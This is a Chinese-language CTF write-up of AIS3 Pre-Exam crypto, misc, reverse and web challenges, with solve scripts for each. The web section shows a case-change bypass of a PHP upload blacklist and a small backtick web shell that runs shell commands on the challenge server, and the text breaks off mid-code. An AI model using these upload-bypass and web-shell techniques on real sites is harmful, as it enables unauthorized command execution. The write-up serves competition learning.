今年是我第二年參加 AIS3 的 Pre-Exam,有了去年的經驗今年打起來相對順手不少,但還是希望能夠繼續進步~去年很多解不出來或解很久的類別今年也打得相對比較好,希望之後能夠拿到更好的名次!(今年因為高三要考試ㄌ QQ 沒有花太多時間打,明年要繼續精進!)

AIS3 官方網站

Welcome

Welcome [100]

Discord ++

嗯對,真的就 Welcome,比賽時間還沒開始就在 AIS3 Discord#general上的釘選了:P
P.S.之前被騙太多次一開始以為這是假 flag:P

FLAG:AIS3{WTF did I just see the FLAG before CTF starts?}

Crypto

SC [100] [baby]

SC? SuperChat?
Author: maple3142

file: https://drive.google.com/file/d/1EGbG7XymDej546FAN_gJbUoNkSjnYbd3/view?usp=sharing

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import string
import random


def shuffle(x):
x = list(x)
random.shuffle(x)
return x


def encrypt(T, file):
with open(file) as f:
pt = f.read()
with open(f"{file}.enc", "w") as f:
f.write(pt.translate(T))


charset = string.ascii_lowercase + string.ascii_uppercase + string.digits
shuffled = "".join(shuffle(charset))
T = str.maketrans(charset, shuffled)

encrypt(T, "flag.txt")
encrypt(T, __file__)

"""
Substitution cipher
From Wikipedia, the free encyclopedia
Jump to navigationJump to search

This article needs additional citations for verification. Please help improve this article by adding citations to reliable sources. Unsourced material may be challenged and removed.
Find sources: "Substitution cipher" – news · newspapers · books · scholar · JSTOR (March 2009) (Learn how and when to remove this template message)
In cryptography, a substitution cipher is a method of encrypting in which units of plaintext are replaced with the ciphertext, in a defined manner, with the help of a key; the "units" may be single letters (the most common), pairs of letters, triplets of letters, mixtures of the above, and so forth. The receiver deciphers the text by performing the inverse substitution process to extract the original message.

Substitution ciphers can be compared with transposition ciphers. In a transposition cipher, the units of the plaintext are rearranged in a different and usually quite complex order, but the units themselves are left unchanged. By contrast, in a substitution cipher, the units of the plaintext are retained in the same sequence in the ciphertext, but the units themselves are altered.

There are a number of different types of substitution cipher. If the cipher operates on single letters, it is termed a simple substitution cipher; a cipher that operates on larger groups of letters is termed polygraphic. A monoalphabetic cipher uses fixed substitution over the entire message, whereas a polyalphabetic cipher uses a number of substitutions at different positions in the message, where a unit from the plaintext is mapped to one of several possibilities in the ciphertext and vice versa.


Contents
1 Simple substitution
1.1 Security for simple substitution ciphers
2 Nomenclator
3 Homophonic substitution
4 Polyalphabetic substitution
5 Polygraphic substitution
6 Mechanical substitution ciphers
7 The one-time pad
8 Substitution in modern cryptography
9 Substitution ciphers in popular culture
10 See also
11 References
12 External links
"""

題目給了一個cipher.py、加密過的cipher.py.enc與加密過的flag.txt.enc,經過觀察兩個 python 檔的內容後,可以發現本題是 Substitution cipher(人家都直接寫給你看ㄌ w),因此可以手動將cipher.pycipher.py.enc對應一一對應字母後推出flag.txt.enc的 flag 內容。

當然我們也可以寫 code 來解決它><開一個 python 的 dictionary 來進行一一對應:

1
2
3
4
5
6
7
8
9
10
11
waku = open("cipher.py",'r').read()
wakuwaku = open("cipher.py.enc",'r').read()

sc = {}
for i in range(len(waku)):
sc[wakuwaku[i]] = waku[i]

wakuwakuwaku = open('flag.txt.enc','r').read()
for i in wakuwakuwaku:
print(sc[i],end='')
#AIS3{s0lving_sub5t1tuti0n_ciph3r_wi7h_kn0wn_p14int3xt_4ttack}

FLAG:AIS3{s0lving_sub5t1tuti0n_ciph3r_wi7h_kn0wn_p14int3xt_4ttack}

Fast Cipher [100] [baby]


Author: maple3142

file: https://drive.google.com/file/d/1bkwIfXNl9e3AaoltnvFGb0VEvOTMtd2D/view?usp=sharing

這題內容是一個加密用cipher.py與其output.txt,來看看 source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from secrets import randbelow

M = 2**1024

def f(x):
# this is a *fast* function
return (
4 * x**4 + 8 * x**8 + 7 * x**7 + 6 * x**6 + 3 * x**3 + 0x48763
) % M


def encrypt(pt, key):
ct = []
for c in pt:
ct.append(c ^ (key & 0xFF))
key = f(key)
return bytes(ct)


if __name__ == "__main__":
key = randbelow(M)
ct = encrypt(open("flag.txt", "rb").read().strip(), key)
print(ct.hex())

可以發現他不斷將key迭代到f(x)裡面後再與原始 flag 進行 xor,得到加密後的 output。

此時觀察 encrypt function,它在取key時用了&0xff,表示只取key的最後兩位進行 xor 運算,透過 flag formatAIS3{…}可以推出第一個key0x6c^65=0x2d,接著觀察 f(x),它代入一個多項式後再%$2^{1024}$=0x100…00,迭代效率很低,但因為只取最後兩位,且%之尾數為0表示不影響最後兩位結果,所以可以直接代入多項式後取最後兩位 xor。

寫 code 即可解出 flag:

1
2
3
4
5
6
7
8
9
10
11
12
key=[0x2d]

ff=[0x6c,0x0e,0xc8,0x40,0xf8,0x8d,0x4c,0xd7,0xfc,0xc6,0xd5,0xc6,0xd1,0xda,0xfc,0xc1,0xca,0xd7,0xd0,0xfc,0xc2,0xd1,0xc6,0xfc,0xd6,0xd0,0xc6,0xc7,0xfc,0xcf,0xcc,0xcf,0xde]

def f(x):
return (
4 * x**4 + 8 * x**8 + 7 * x**7 + 6 * x**6 + 3 * x**3 + 0x48763
) & 0xff

for i in range(0,50):
print(chr(key[i]^ff[i]),end='')
key.append(f(key[i]))

FLAG:AIS3{not_every_bits_are_used_lol}

Misc

Excel [100] [baby]

Don’t worry, this is not a real virus…
Author: lys0829

file: https://drive.google.com/file/d/12dOYZhOIgCRudHczsikOUBUPZFyP8nrJ/view?usp=sharing

這題單純給了一個.xlsm 檔,使用 Microsoft Office 文件檢查功能之後可以發現有隱藏工作表,因此全部展開,發現isFki裡面有一串公式,將 excel 轉換字體顏色後發現執行為TRUE,將外圍 FORMULA 去掉後關掉顯示公式查看公式內容即可得到 flag。

FLAG:AIS3{XLM_iS_to0_o1d_but_co0o0o00olll!!}

Gift in the dream [100] [medium]

Someone send you his dream. Maybe he is trying to tell you a message.
update 1: flag 在l33t前是通順的句子。
update 2: Fixed typo in flag, please download the updated version
Author: bronson113

file: https://drive.google.com/file/d/1OOF36yj53MSXs2-Z-5x1dJivlz25UoLY/view?usp=sharing

這題是一個 gif 檔,一開始用了不少工具分析,其中使用 strings 指令的結果發現裡面提示到why is the animation lagging? why is the duration so weird? is this just a dream?的部分,因此開始往這個方向走,上網查到了gif duration tool,切開後發現其毫秒時間間隔不一且形同ASCII code(去掉尾 0),將其解密後即可得到正確的 flag。

P.S.一開始用了一個爛掉的工具得到錯誤的 flag…

FLAG:AIS3{5T3gn0gR4pHy_c4N_b3_fUn_s0m37iMe}

Reverse

Time Management [100] [baby]

Solution 1

Free flag for you : )
Author: artis24106

file: https://drive.google.com/file/d/11_Q8SqsPWEm67iAc2Xbpjvi4tK-Q0Fcn/view?usp=sharing

這題給了一個 binary,用 IDA Pro 開啟分析main function可以發現它將指定位置4*(i+1)(此位置為 flag 每四位 hex number 的後一位數字)的keysecret每位 xor 後用 for 迴圈輸出,所以這部分可以手動處理 xor 後即可得到 flag。

我們也可以寫 code 來解決他,首先在 IDA Pro 裡shift+E提出keysecret陣列,接著一一 xor 即可(但要記得把陣列位置算好.w.)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include<bits/stdc++.h>
using namespace std;

int secret[100]={
70, 65, 75, 69, 11, 0, 0, 0, 123, 104,
111, 111, 10, 0, 0, 0, 114, 97, 121, 95,
2, 0, 0, 0, 115, 116, 114, 105, 8, 0,
0, 0, 110, 103, 115, 95, 6, 0, 0, 0,
105, 115, 95, 97, 5, 0, 0, 0, 108, 119,
97, 121, 7, 0, 0, 0, 115, 95, 97, 110,
4, 0, 0, 0, 95, 117, 115, 101, 9, 0,
0, 0, 102, 117, 108, 95, 0, 0, 0, 0,
99, 111, 109, 109, 1, 0, 0, 0, 97, 110,
100, 125, 3, 0, 0, 0
};
int key[50]={
1, 16, 1, 58, 13, 27, 76, 76, 45, 0,
11, 58, 64, 79, 69, 0, 26, 50, 4, 49,
29, 22, 45, 62, 49, 10, 18, 44, 3, 17,
62, 13, 44, 0, 26, 12, 50, 20, 29, 4,
0, 49, 0, 26, 7, 8, 24, 118
};

int main(){
for(int i=0;i<96;i+=8){
int v1=secret[i+4]*4;
for(int j=0;j<4;j++){
cout<<char(secret[i+j]^key[v1+j]);
}
}
return 0;
}
//AIS3{You_are_the_master_of_time_management!!!!!}

FLAG:AIS3{You_are_the_master_of_time_manangement!!!!!}

Solution 2

這題也可以用 patch program 的方法解決,它印不出 flag 的主要原因是main function中的sleep(0x8763)間隔過久,所以我們只要把sleep的時間 patch 成0即可,這裡注意一下最後的輸出部分,\r會把游標移到最前方並將所有先前輸出洗掉,因此這裡也要 patch,完成後覆寫掉原檔案執行即可得到 flag。

Calculator [301] [easy][.NET]

I built a simple calculator, although it has a lot of bugs :P
Author: LJP-TW

file: https://drive.google.com/file/d/1lKgN9AtkAT55lgY8qeJJP9L9awhOKAD4/view?usp=sharing

這題應該可以算是去年的考古題,也是 .NET 的題目,我一樣使用 dnSpy 來分析它,calculator.exe的部分沒有發現甚麼除了計算機之外的其他功能,在extentions的部分發現了四個可疑的.dll檔(AIS3.dllAIS33.dllAIS333.dllAIS3333.dll),打開看發現裡面應該是輸出 flag 的條件,只有一些 xor 跟特殊位置的個別限制,也是使用手動的方法把 flag 打出來即可。

1
2
3
4
5
6
INDEX   0123456789012345678901234567890123456789012345
AIS3 AIS3{ A }
AIS33 {D G_G}
AIS333 D0T_N3T_FRAm3W0rk __
AIS3333 k_15_S0_C0mPlicaT3d
AIS3{D0T_N3T_FRAm3W0rk_15_S0_C0mPlicaT3d__G_G}

FLAG:AIS3{D0T_N3T_FRAm3W0rk_15_S0_C0mPlicaT3d__G_G}

殼 [463] [easy]


Author: artis24106

file: https://drive.google.com/file/d/1C_Q7RbdQufeyZyOMNG2eQ9w4vd4o--1l/view?usp=sharing

這題給了一個不知名的.wy檔,上網查了一下是文言文編程語言,利用github 上的工具wenyan --compile 殼.wy可將其轉換為較易讀(?)的 javascript。剩下的部分就是讀懂 code 內容了 😵。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
/*___wenyan_module_恆常_start___*/
var 恆常 = new function() {
var 大 = this.大 = "輸入「助」以獲得更多幫助";
var 笆 = this.笆 = "/+9876543210zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA";
var 斯 = this.斯 = "k5aRmv==";
var 啟 = this.啟 = "5KTMx8XKxf==";
var 魠 = this.魠 = "kv==";
var 歷 = this.歷 = "5KSS";
var 託 = this.託 = "幫助幫助幫助幫助幫助幫助";
var 師 = this.師 = "先帝創業未半而中道崩殂今天下三分益州疲弊此誠危急存亡之秋也然侍衛之臣不懈於內忠誌之士忘身於外者蓋追先帝之殊遇欲報之於陛下也誠宜開張聖聽以光先帝遺德恢弘誌士之氣不宜妄自菲薄引喻失義以塞忠諫之路也宮中府中俱為一體陟罰臧否不宜異同若有作奸犯科及為忠善者宜付有司論其刑賞以昭陛下平明之理不宜偏私使內外異法也侍中侍郎郭攸之費禕董允等此皆良實誌慮忠純是以先帝簡拔以遺陛下愚以為宮中之事事無大小悉以谘之然後施行必能裨補闕漏有所廣益將軍嚮寵性行淑均曉暢軍事試用於昔日先帝稱之曰能是以衆議舉寵為督愚以為營中之事悉以谘之必能使行陣和睦優劣得所親賢臣遠小人此先漢所以興隆也親小人遠賢臣此後漢所以傾頹也先帝在時每與臣論此事未嘗不歎息痛恨於桓靈也侍中尚書長史參軍此悉貞良死節之臣願陛下親之信之則漢室之隆可計日而待也臣本佈衣躬耕於南陽苟全性命於亂世不求聞達於諸侯先帝不以臣卑鄙猥自枉屈三顧臣於草廬之中谘臣以當世之事由是感激遂許先帝以驅馳後值傾覆受任於敗軍之際奉命於危難之間爾來二十有一年矣先帝知臣謹慎故臨崩寄臣以大事也受命以來夙夜憂歎恐托付不效以傷先帝之明故五月渡瀘深入不毛今南方巳定兵甲已足當獎率三軍北碇中原庶竭駑鈍攘除奸兇興複漢室還于舊都此臣所以報先帝而忠陛下之職分也至於斟酌損益進盡忠言則攸之禕允之任也願陛下托臣以討賊興複之效不效則治臣之罪以告先帝之靈若無興德之言則責攸之禕允等之慢以彰其咎陛下亦宜自謀以谘諏善道察納雅言深追先帝遺詔臣不勝受恩感激今當遠離臨錶涕零不知所言";
var 秘旗 = this.秘旗 = "\x1b[38:5:181m獎\x1b[38:5:202m當\x1b[38:5:177m之\x1b[38:5:210m兇\x1b[38:5:191m深\x1b[38:5:170m定\x1b[38:5:189m忠\x1b[38:5:197m忠\x1b[38:5:192m複\x1b[38:5:226m除\x1b[38:5:177m率\x1b[38:5:226m月\x1b[38:5:191m月\x1b[38:5:170m都\x1b[38:5:177m三\x1b[38:5:178m還\x1b[38:5:177m三\x1b[38:5:209m先\x1b[38:5:188m而\x1b[38:5:197m忠\x1b[38:5:192m兇\x1b[38:5:198m故\x1b[38:5:192m複\x1b[38:5:226m巳\x1b[38:5:177m三\x1b[38:5:222m定\x1b[38:5:189m率\x1b[38:5:225m陛\x1b[38:5:194m軍\x1b[38:5:166m除\x1b[38:5:178m軍\x1b[38:5:186m忠\x1b[38:5:181m率\x1b[38:5:226m所\x1b[38:5:177m瀘\x1b[38:5:226m獎\x1b[38:5:181m獎\x1b[38:5:218m除\x1b[38:5:179m當\x1b[38:5:166m鈍\x1b[38:5:178m三\x1b[38:5:170m斟"; /*已': 2,'定': 2 */
}; /*___wenyan_module_恆常_end___*/ /*___wenyan_module_鑿字秘術_start___*/
var 鑿字秘術 = new function() {
var 正閱 = this.正閱 = "data";
var 已閱 = this.已閱 = "end";
var 始碼 = this.始碼 = _ => {};
始碼 = this.始碼 = 字 => {
const _ans1 = String.fromCharCode(字);
return _ans1;
};
var 字址 = this.字址 = _ => {};
字址 = this.字址 = 字 => 址 => {
const _ans2 = ((target) => ((idx) => target.charCodeAt(idx)))(字)(址);
return _ans2;
};
var 始於 = this.始於 = _ => {};
始於 = this.始於 = 字 => 符 => {
const _ans3 = ((target) => ((label) => target.startsWith(label)))(字)(符);
return _ans3;
};
var 字子 = this.字子 = _ => {};
字子 = this.字子 = 字 => 址 => {
const _ans4 = ((target) => ((idx) => target.substring(idx)))(字)(址);
return _ans4;
};
var 子字 = this.子字 = _ => {};
子字 = this.子字 = 字 => 始 => 末 => {
const _ans5 = ((target) => ((s) => ((e) => target.substring(s, e))))(字)(始)(末);
return _ans5;
};
}; /*___wenyan_module_鑿字秘術_end___*/ /*___wenyan_module_交互秘術_start___*/
var 交互秘術 = new function() {
var 正閱 = this.正閱 = "data";
var 已閱 = this.已閱 = "end";
const _ans1 = require("readline").createInterface(process.stdin, process.stdout);
var 讀行 = _ans1;
var 化言 = this.化言 = _ => {};
化言 = this.化言 = 甲 => {
const _ans2 = 甲.toString();
return _ans2;
};
var 發生 = this.發生 = _ => {};
發生 = this.發生 = 事 => {
const _ans3 = ((event) => process.stdin.emit(event))(事);
};
var 監聽 = this.監聽 = _ => {};
監聽 = this.監聽 = 事件 => 響應 => {
const _ans4 = ((event) => ((func) => process.stdin.on(event, func)))(事件)(響應);
};
var 聽寫 = this.聽寫 = _ => {};
聽寫 = this.聽寫 = 事件 => 響應 => {
const _ans5 = ((event) => ((func) => 讀行.on(event, func)))(事件)(響應);
};
var 閱止 = this.閱止 = _ => {};
閱止 = this.閱止 = () => {
const _ans6 = (() => process.stdin.end())();
};
var 輸出 = this.輸出 = _ => {};
輸出 = this.輸出 = 文 => {
const _ans7 = ((s) => process.stdout.write(s))(文);
};
}; /*___wenyan_module_交互秘術_end___*/
var 輸出 = 交互秘術.輸出;
var 聽寫 = 交互秘術.聽寫;
var 始碼 = 鑿字秘術.始碼;
var 字址 = 鑿字秘術.字址;
var 子字 = 鑿字秘術.子字;
var 始於 = 鑿字秘術.始於;
var 字子 = 鑿字秘術.字子;
var 啟 = 恆常.啟;
var 歷 = 恆常.歷;
var 託 = 恆常.託;
var 師 = 恆常.師;
var 大 = 恆常.大;
var 笆 = 恆常.笆;
var 斯 = 恆常.斯;
var 魠 = 恆常.魠;
var 秘旗 = 恆常.秘旗;
var 獲取 = _ => {};
獲取 = 對象 => 域 => {
return 對象[域];
}; /*"============"*/
var 營 = _ => {};
營 = 日 => 鑫 => {
const _ans1 = 日 % 鑫;
const _ans2 = 日 - _ans1;
var 戌卯 = _ans2;
const _ans3 = 戌卯 / 鑫;
var 庚巳 = _ans3;
return 庚巳;
};
var 削 = _ => {};
削 = 日 => 鑫 => {
var 命 = 0;
var 恩 = 1;
while (true) {
var 戊乙 = false;
if (日 > 0) {
戊乙 = true;
};
var 午酉 = false;
if (鑫 > 0) {
午酉 = true;
};
const _ans4 = 戊乙 && 午酉;
var 酉癸 = _ans4;
if (酉癸 == 0) {
break;
};
const _ans5 = 日 % 2;
var 辛甲 = _ans5;
var 甲二 = false;
if (辛甲 == 1) {
甲二 = true;
};
const _ans6 = 鑫 % 2;
var 二辛 = _ans6;
var 午庚 = false;
if (二辛 == 1) {
午庚 = true;
};
const _ans7 = 甲二 && 午庚;
var 巳己 = _ans7;
if (巳己) {
const _ans8 = 命 + 恩;
命 = _ans8;
};
const _ans9 = 營(日)(2);
日 = _ans9;
const _ans10 = 營(鑫)(2);
鑫 = _ans10;
const _ans11 = 恩 * 2;
恩 = _ans11;
};
return 命;
};
var 斐 = _ => {};
斐 = 竺 => {
var 呼 = 0;
while (true) {
const _ans12 = 笆.length;
var 巳酉 = false;
if (呼 < _ans12) {
巳酉 = true;
};
if (巳酉 == 0) {
break;
};
const _ans13 = 獲取(笆)(呼);
var 乙丁 = _ans13;
if (乙丁 == 竺) {
return 呼;
};
const _ans14 = 呼 + 1;
呼 = _ans14;
};
return 0;
};
var 天 = _ => {};
天 = 食 => {
var 返 = [];
var 呼 = 0;
while (true) {
const _ans15 = 食.length;
var 寅二 = false;
if (呼 < _ans15) {
寅二 = true;
};
if (寅二 == 0) {
break;
};
var 表 = [];
const _ans16 = 獲取(食)(呼);
var 辰丁 = _ans16;
const _ans17 = 斐(辰丁);
var 丙戊 = _ans17;
const _ans18 = 呼 + 1;
var 丙甲 = _ans18;
const _ans19 = 獲取(食)(丙甲);
var 丁 申 = _ans19;
const _ans20 = 斐(丁申);
var 午申 = _ans20;
const _ans21 = 呼 + 2;
var 乙庚 = _ans21;
const _ans22 = 獲取(食)(乙庚);
var 地戌 = _ans22;
const _ans23 = 斐(地戌);
var 丁亥 = _ans23;
const _ans24 = 呼 + 3;
var 二卯 = _ans24;
const _ans25 = 獲取(食)(二卯);
var 寅酉 = _ans25;
const _ans26 = 斐(寅酉);
var 支丙 = _ans26;
表.push(丙戊, 午申, 丁亥, 支丙);
const _ans27 = 表[1 - 1];
var 己辛 = _ans27;
const _ans28 = 己辛 * 4;
var 酉支 = _ans28;
const _ans29 = 表[2 - 1];
var 乙酉 = _ans29;
const _ans30 = 營(乙酉)(16);
const _ans31 = 酉支 + _ans30;
var 丁壬 = _ans31;
返.push(丁壬);
const _ans32 = 表[2 - 1];
var 子甲 = _ans32;
const _ans33 = 削(子甲)(15);
var 丁巳 = _ans33;
const _ans34 = 丁巳 * 16;
var 壬己 = _ans34;
const _ans35 = 表[3 - 1];
var 辛辛 = _ans35;
const _ans36 = 營(辛辛)(4);
const _ans37 = 壬己 + _ans36;
var 支己 = _ans37;
返.push(支己);
const _ans38 = 表[3 - 1];
var 亥巳 = _ans38;
const _ans39 = 削(亥巳)(3);
var 地丙 = _ans39;
const _ans40 = 地丙 * 64;
var 申 戌 = _ans40;
const _ans41 = 表[4 - 1];
var 乙卯 = _ans41;
const _ans42 = 削(乙卯)(63);
const _ans43 = 申戌 + _ans42;
var 壬寅 = _ans43;
返.push(壬寅);
const _ans44 = 呼 + 4;
呼 = _ans44;
};
var 遣 = "";
var 呼 = 0;
while (true) {
const _ans45 = 返.length;
var 辛未 = false;
if (呼 < _ans45) {
辛未 = true;
};
if (辛未 == 0) {
break;
};
const _ans46 = 獲取(返)(呼);
var 戊丙 = _ans46;
if (戊丙 == 0) {
break;
};
const _ans47 = 始碼(戊丙);
const _ans48 = 遣 + _ans47;
遣 = _ans48;
const _ans49 = 呼 + 1;
呼 = _ans49;
};
return 遣;
};
const _ans50 = 子字(師)(463)(527);
var 桐 = _ans50;
const _ans51 = 天(斯);
var 系 = _ans51;
const _ans52 = 天(啟);
var 啟 = _ans52;
var 涅 = "> ";
var 禱 = _ => {};
禱 = 食 => {
const _ans53 = 食.length;
var 連 = _ans53;
const _ans54 = !連;
var 未丑 = _ans54;
if (未丑) {
return "";
};
var 紀元 = "";
var 呼 = 0;
while (true) {
var 申壬 = false;
if (呼 < 連) {
申壬 = true;
};
if (申壬 == 0) {
break;
};
const _ans55 = 字址(食)(呼);
日 = _ans55;
var 鑫 = 0;
var 谷 = 0;
const _ans56 = 連 - 呼;
var 己酉 = _ans56;
if (己酉 >= 2) {
const _ans57 = 呼 + 1;
var 支辛 = _ans57;
const _ans58 = 字址(食)(支辛);
鑫 = _ans58;
};
const _ans59 = 連 - 呼;
var 地巳 = _ans59;
if (地巳 > 2) {
const _ans60 = 呼 + 2;
var 乙乙 = _ans60;
const _ans61 = 字址(食)(乙乙);
谷 = _ans61;
};
const _ans62 = 營(日)(4);
var 丙癸 = _ans62;
const _ans63 = 削(日)(3);
var 亥十 = _ans63;
const _ans64 = 亥十 * 16;
var 乙己 = _ans64;
const _ans65 = 營(鑫)(16);
const _ans66 = 乙己 + _ans65;
var 卯戌 = _ans66;
const _ans67 = 型(丙癸)(卯戌);
const _ans68 = 紀元 + _ans67;
紀元 = _ans68;
const _ans69 = 削(鑫)(15);
var 戌戌 = _ans69;
const _ans70 = 戌戌 * 4;
var 乙己七 = _ans70;
const _ans71 = 營(谷)(64);
const _ans72 = 乙己七 + _ans71;
var 戌巳 = _ans72;
const _ans73 = 削(谷)(63);
var 丁午 = _ans73;
const _ans74 = 型(戌巳)(丁午);
const _ans75 = 紀元 + _ans74;
紀元 = _ans75;
const _ans76 = 呼 + 3;
呼 = _ans76;
};
const _ans77 = 連 % 3;
var 辰申 = _ans77;
if (辰申 == 1) {
const _ans78 = 紀元 + "等於";
紀元 = _ans78;
};
return 紀元;
};
const _ans79 = 天(歷);
var 歷 = _ans79;
const _ans80 = 天(魠);
var 魠 = _ans80;
var 型 = _ => {};
型 = 和 => 宇 => {
const _ans81 = 165 + 和;
const _ans82 = 啟 + _ans81;
var 巳支 = _ans82;
const _ans83 = 巳支 + 魠;
var 申午 = _ans83;
const _ans84 = 獲取(桐)(宇);
const _ans85 = 申午 + _ans84;
var 二酉 = _ans85;
return 二酉;
};
var 希依 = _ => {};
希依 = 祈 => {
const _ans86 = 禱(祈);
命 = _ans86;
var _ans87 = "結果";
var _ans88 = 命;
var _ans89 = 歷;
console.log(_ans87, _ans88, _ans89);
if (命 == 秘旗) {
var _ans90 = "正解";
console.log(_ans90);
};
};
var 玲瓏 = _ => {};
玲瓏 = () => {
var _ans91 = 託;
console.log(_ans91);
};
var 殼 = _ => {};
殼 = 入 => {
const _ans92 = 始於(入)("蛵煿 ");
var 丁辰 = _ans92;
if (丁辰) {
const _ans93 = 字子(入)(3);
var 地辛 = _ans93;
const _ans94 = 希依(地辛);
} else {
if (入 == "助") {
const _ans95 = 玲瓏();
} else {
const _ans96 = "指令「" + 入;
var 丙丁 = _ans96;
const _ans97 = 丙丁 + "」不存在\n";
var 辛午 = _ans97;
const _ans98 = 輸出(辛午);
};
};
const _ans99 = 輸出(涅);
};
var 殼始 = _ => {};
殼始 = () => {
var _ans100 = 大;
console.log(_ans100);
const _ans101 = 輸出(涅);
};
const _ans102 = 殼始();
const _ans103 = 聽寫(系)(殼);

觀察 compile 後的 code 內容,稍微解析各個 function 的內容:
恆常為定義 const variable,可以看到秘旗就是加密過後的 flag,其餘先保留。
鑿字秘術交互秘術都是一些內建函式的改寫,可以直接略過。
剩下是自定義函式,一樣可以略過。

這時候從尾部找尋秘旗,往前對照發現其是對應禱(祈)這個函式,這時候對這個單一函數進行解析整理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var 禱=_=>{};禱=食=>{
if (!食.length){return "";};
var 紀元="";var 呼=0;
while(true){var 申壬=false;if (呼<連){申壬=true;};if (申壬==0){break;};
日=字址(食)(呼);
var 鑫=0;
var 谷=0;
if (連-呼>=2){鑫=字址(食)(呼+1);};
if (連-呼>2){谷=字址(食)(呼+2);};
紀元=紀元+型(營(日)(4))(削(日)(3)*16+營(鑫)(16));
紀元=紀元+型(削(鑫)(15)*4+營(谷)(64))(削(谷)(63));
呼=呼+3;}
if (連%3==1){紀元=紀元+"等於";};
return 紀元;}

在編輯器Ctrl+F搜尋發現沒有被定義僅被呼叫,推測就是 flag,而則為三個一組的 flag 呼叫。

先來分析函式:
相對簡單,營(a)(b)=(a//b)
的部分,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var 削=_=>{};
削=日=>鑫=>{
var 命=0;var 恩=1;
while(true){
var 戊乙=false;
if (日>0){戊乙=true;};
var 午酉=false;
if (鑫>0){午酉=true;};
if (戊乙&&午酉==0){break;};
var 甲二=false;
if (日%2==1){甲二=true;};
var 午庚=false;
if (鑫%2==1){午庚=true;};
if (甲二&&午庚){命=命+恩;};
日=營(日)(2);鑫=營(鑫)(2);恩=恩*2;}
return 命;}

可得削(a)(b)=(a>0&&b>0)?(a&b):0

再來看

1
2
var 型=_=>{};
型=和=>宇=>{return啟+(165+和)+魠+獲取(桐)(宇);}

上面可知內部呼叫之參數,皆為數字,為外部傳入,不影響所求內容

桐=子字(師)(463)(527)(從前面的交互秘術可知是 substring 的意思),可得桐='明故五月渡瀘深入不毛今南方巳定兵甲已足當獎率三軍北碇中原庶竭駑鈍攘除奸兇興複漢室還于舊都此臣所以報先帝而忠陛下之職分也至於斟酌損'

秘旗重複單位\x1b[38:5:181m獎即為單一所生,(165+和)為數字,獲取(桐)(宇)為字串中字元
所以啟=\x1b[38:5:魠=m,無須逆向。

寫 code 爆搜出對應秘旗內容即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ff=["181m獎","202m當","177m之","210m兇","191m深","170m定","189m忠","197m忠","192m複","226m除","177m率","226m月","191m月","170m都","177m三","178m還","177m三","209m先","188m而","197m忠","192m兇","198m故","192m複","226m巳","177m三","222m定","189m率","225m陛","194m軍","166m除","178m軍","186m忠","181m率","226m所","177m瀘","226m獎","181m獎","218m除","179m當","166m鈍","178m三","170m斟"]
ss='明故五月渡瀘深入不毛今南方巳定兵甲已足當獎率三軍北碇中原庶竭駑鈍攘除奸兇興複漢室還于舊都此臣所以報先帝而忠陛下之職分也至於斟酌損'

m=[]
n=[]

for i in ff:
i=i.split("m")
m.append(int(i[0])-165)
n.append(i[1])

print(m)
print(n)

for i in range(50):
for a in range(40,130):
for b in range(40,130):
for c in range(40,130):
if(a//4==m[i] and ss[16*(a&3)+b//16]==n[i] and 4*(b&15)+c//64==m[i+1] and ss[c&63]==n[i+1]):
print(chr(a)+chr(b)+chr(c),end='')

FLAG:AIS3{chaNcH4n_a1_Ch1k1ch1k1_84n8An_M1nNa_5upa5utA_n0_TAMa90_5a}

Web

Simple File Uploader [100] [easy]


一個簡單檔案上傳者。
Author: wii

route: http://chals1.ais3.org:8988(vpn required)

這題是一個上傳檔案的網站,打開 source code 可以發現它鎖了很多 php 的格式,明顯是要讓我們上傳可上傳可執行的 php 檔,其中因為它使用黑名單的方式,稍微查一下可以發現副檔名大小寫差異便可繞過,建立aa.Php即可上傳 php(用echo 1;測試可否執行)

1
<?php echo 1; ?>

接著需要繞過 system function,source code 中可以發現他把幾乎所有的 system 執行指令都鎖起來了,但 php 有一個特殊的方式可以繞過執行,以``包起的字串會被當成指令嘗試執行,因此可以構造出指令嘗試執行。

1
2
3
4
<?php
$waku=`cd ../../../../../../;ls;`;
echo "<pre>$waku</pre>";
?>

可以看到一個rUn_M3_t0_9et_fL4g檔案,執行它即可得到 flag。

1
2
3
4
5
<?php
